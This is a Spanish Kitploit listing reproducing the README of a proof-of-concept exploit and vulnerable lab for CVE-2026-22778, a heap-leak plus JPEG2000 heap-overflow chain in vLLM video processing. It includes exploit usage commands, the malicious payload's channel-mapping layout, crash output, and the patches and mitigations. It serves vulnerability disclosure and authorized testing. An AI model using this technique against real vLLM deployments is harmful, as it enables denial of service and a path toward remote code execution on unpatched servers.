Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
EXPLOIT-CVE-2026-22778 — Prueba de concepto del exploit para CVE-2026-22778, una RCE no autenticada en el procesamiento de video de vLLM, que demuestra la divulgación de direcciones de heap y un desbordamiento de búfer en el heap en el decodificador JPEG2000 de FFmpeg. Incluye un laboratorio vulnerable para pruebas autorizadas. | Kitploit
Herramientas/GitHubGitHub/joaovicdev/exploit-cve-2026-22778
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebFuzzingPruebas de PenetraciónAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHub
joaovicdev/exploit-cve-2026-22778

EXPLOIT-CVE-2026-22778

Ver Repositorio
1hace 9h 14mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Prueba de concepto del exploit para CVE-2026-22778, una RCE no autenticada en el procesamiento de video de vLLM, que demuestra la divulgación de direcciones de heap y un desbordamiento de búfer en el heap en el decodificador JPEG2000 de FFmpeg. Incluye un laboratorio vulnerable para pruebas autorizadas.

Compartir

CVE-2026-22778 — RCE en vLLM en el procesamiento de vídeo

Laboratorio vulnerable + prueba de concepto para CVE-2026-22778 (CVSS 9.8), una cadena de ejecución remota de código no autenticada en la ruta de ingesta multimodal de vLLM.

CVECVE-2026-22778
AvisoGHSA-4r2x-xpjr-7cvv
AfectadovLLM >= 0.8.3, < 0.14.1 (implementaciones que sirven modelos de vídeo)
Corregido envLLM 0.14.1
CVSS9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Bug subyacenteCVE-2025-9951 — desbordamiento de búfer en el montículo en el decodificador JPEG2000 de FFmpeg

La vulnerabilidad

Dos fallos separados encadenados. Un vllm serve por defecto no tiene autenticación, por lo que ambos son alcanzables sin autenticación en /v1/chat/completions y /v1/invocations.

Etapa 1 — Divulgación de dirección del montículo (bypass de ASLR)

Cuando una imagen no se puede analizar, Pillow lanza una excepción cuyo mensaje incrusta el repr() del objeto BytesIO del que estaba leyendo:

root@kitploit:~
cannot identify image file <_io.BytesIO object at 0x7f4a9c2e1d50>

vLLM convertía los fallos de carga de medios en un HTTP 400 y devolvía exc.detail al cliente sin modificar (api_server.py):

root@kitploit:~
async def http_exception_handler(_: Request, exc: HTTPException):
    err = ErrorResponse(
        error=ErrorInfo(
            message=exc.detail,          # <-- filtra la dirección textualmente
            ...

Esa única dirección reduce el ASLR del montículo de ~32 bits de entropía a aproximadamente 3, que es lo que hace que la etapa 2 sea explotable en lugar de ser solo un fallo.

Etapa 2 — Desbordamiento de búfer en el montículo en el decodificador JPEG2000

Una video_url es obtenida por el servidor y entregada a OpenCV:

root@kitploit:~
MediaConnector.load_from_url()      vllm/multimodal/utils.py
  -> OpenCVVideoBackend.load_bytes()   vllm/multimodal/video.py
    -> cv2.VideoCapture(BytesIO(data), backend, [])
      -> FFmpeg 5.1.x (incluido en opencv-python-headless < 4.13)

vLLM fijó opencv-python-headless >= 4.11.0, que incluye FFmpeg 5.1.x. Su decodificador JPEG2000 toma el plano de destino directamente de la caja de definición de canal (cdef) del archivo — libavcodec/jpeg2000dec.c, write_frame_8:

root@kitploit:~
if (planar)
    plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...;   /* del componente  */
int h = tile->comp[compno].coord[1][1] - ...;   /* ¡no del plano! */

plane está controlado por el atacante pero w/h provienen del componente que se está decodificando, y nada comprueba que uno quepa en el otro. Una entrada cdef de cn=0, asoc=2 envía el componente 0 — el plano de luminancia a resolución completa — al plano 1, el plano de crominancia submuestreado 2×2.

Para el fotograma de 150×64 que usa esta PoC:

tamaño
Componente Y (escrito)150 × 64 = 9.600 bytes
Plano U (destino)75 × 32 = 2.400 bytes
Desbordamiento7.200 bytes más allá de la asignación

FFmpeg asigna cada plano como su propio AVBuffer, por lo que el desbordamiento atraviesa los fragmentos de montículo adyacentes — incluidos los structs AVBuffer que contienen un puntero a función free. Combinado con la fuga de la etapa 1, sobrescribir ese puntero es lo que convierte la corrupción en ejecución de código.

Esta PoC se detiene en la corrupción de memoria. Demuestra la escritura fuera de límites matando el proceso del servidor. El grooming del montículo y la sobrescritura del puntero a función deliberadamente no están implementados.

El laboratorio

lab/app.py es una reimplementación mínima de la ruta de ingesta multimodal de vLLM 0.13.0 — MediaConnector, ImageMediaIO, OpenCVVideoBackend y el manejador de errores anterior al parche, cada uno anotado con el archivo upstream que refleja. El runtime del modelo está simulado: la vulnerabilidad reside enteramente en la ingesta de medios, que se ejecuta antes de la inferencia y no necesita GPU ni pesos de modelo.

Todo en la ruta de ataque es real — la misma llamada a Pillow que filtra la dirección, y la misma llamada a cv2.VideoCapture hacia un opencv-python-headless==4.11.0.86 sin parchear (FFmpeg 5.1.x, libavcodec 59.37.100).

Uso

root@kitploit:~
docker compose up -d --build
python3 exploit.py

Opciones:

root@kitploit:~
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve                  # entregar el payload por HTTP
python3 exploit.py --write-payload evil.jp2 # solo escribir el archivo malicioso

El exploit es solo biblioteca estándar pura — sin dependencias.

Salida esperada

root@kitploit:~
[*] Stage 1 -- heap address disclosure via PIL error message
    HTTP 400
    cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Leaked heap address: 0xffff8f555300
    ASLR bypassed: the heap base is now known to ~3 bits of entropy.

[*] Stage 2 -- heap buffer overflow in the JPEG2000 decoder
    Target alive: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
    Payload: 203 bytes, 150x64 yuv420p JP2
    cdef maps component 0 -> plane 1: writes 9600 bytes into a 2400-byte plane (7200-byte overflow)
    Request never completed: Remote end closed connection without response
    Probing /health to see what happened to the worker...
[+] Worker was killed and restarted: boot_id 95b62f18-... -> 4494d28c-...
[+] Out-of-bounds write confirmed.

Y en el lado del servidor:

root@kitploit:~
$ docker compose logs vllm
cve-2026-22778-lab  | INFO:     POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab  | corrupted size vs. prev_size
cve-2026-22778-lab  | INFO:     Started server process [1]

Limpieza:

root@kitploit:~
docker compose down

El payload

203 bytes, construido desde cero en build_payload(). Un contenedor JP2 que contiene un codestream JPEG2000 mínimo que declara tres componentes con submuestreo 4:2:0 (para que FFmpeg asigne un fotograma yuv420p), más una caja cdef que los reasigna:

root@kitploit:~
cn=0, typ=0, asoc=2   <-- componente 0 (resolución completa) en el plano 1 (submuestreado)
cn=1, typ=0, asoc=2
cn=2, typ=0, asoc=3

Los datos de coeficientes están vacíos. El decodificador aún asigna el fotograma desde la cabecera SIZ y aún ejecuta el bucle de escritura, por lo que no se necesitan datos de imagen reales.

Corrección

vLLM 0.14.1, mediante tres PRs:

  • #31987 — añade sanitize_message(), eliminando at 0x<addr>> de los repr de objetos antes de que lleguen al cliente.
  • #32319 — enruta las rutas de error restantes a través de ella.
  • #32668 — actualiza opencv-python-headless a >= 4.13.0, incorporando la corrección de FFmpeg para CVE-2025-9951.

FFmpeg upstream ahora rechaza un mapa cdef que no sea una permutación de los canales, y deriva el formato de píxeles de los índices reasignados:

root@kitploit:~
int cdef_used = 0;
for (i = 0; i < s->ncomponents; i++)
    cdef_used |= 1<<s->cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
    return AVERROR_INVALIDDATA;

Cambiar la fijación del laboratorio a opencv-python-headless>=4.13.0 hace que el mismo payload falle de forma inofensiva con error during processing marker segment ff51.

Si no puede actualizar: no sirva modelos de vídeo, ponga autenticación delante de la API y restrinja la obtención de medios con --allowed-media-domains.

Notas

  • El laboratorio se reinicia automáticamente después de cada fallo, por lo que la PoC se puede ejecutar repetidamente.
  • En Apple Silicon, deje que docker compose compile para la arquitectura nativa arm64 (la predeterminada). Forzar --platform linux/amd64 ejecuta el contenedor bajo emulación, donde el proceso que aborta se cuelga en lugar de salir y el fallo es más difícil de observar.

Referencias

  • NVD — CVE-2026-22778
  • Aviso de vLLM — GHSA-4r2x-xpjr-7cvv
  • Aviso de FFmpeg — GHSA-39q3-f8jq-v6mg (CVE-2025-9951)

Aviso legal

Solo para educación y pruebas de seguridad autorizadas. Ejecútelo contra el laboratorio de este repositorio o sistemas para los que tenga permiso explícito de prueba.

Descargar herramienta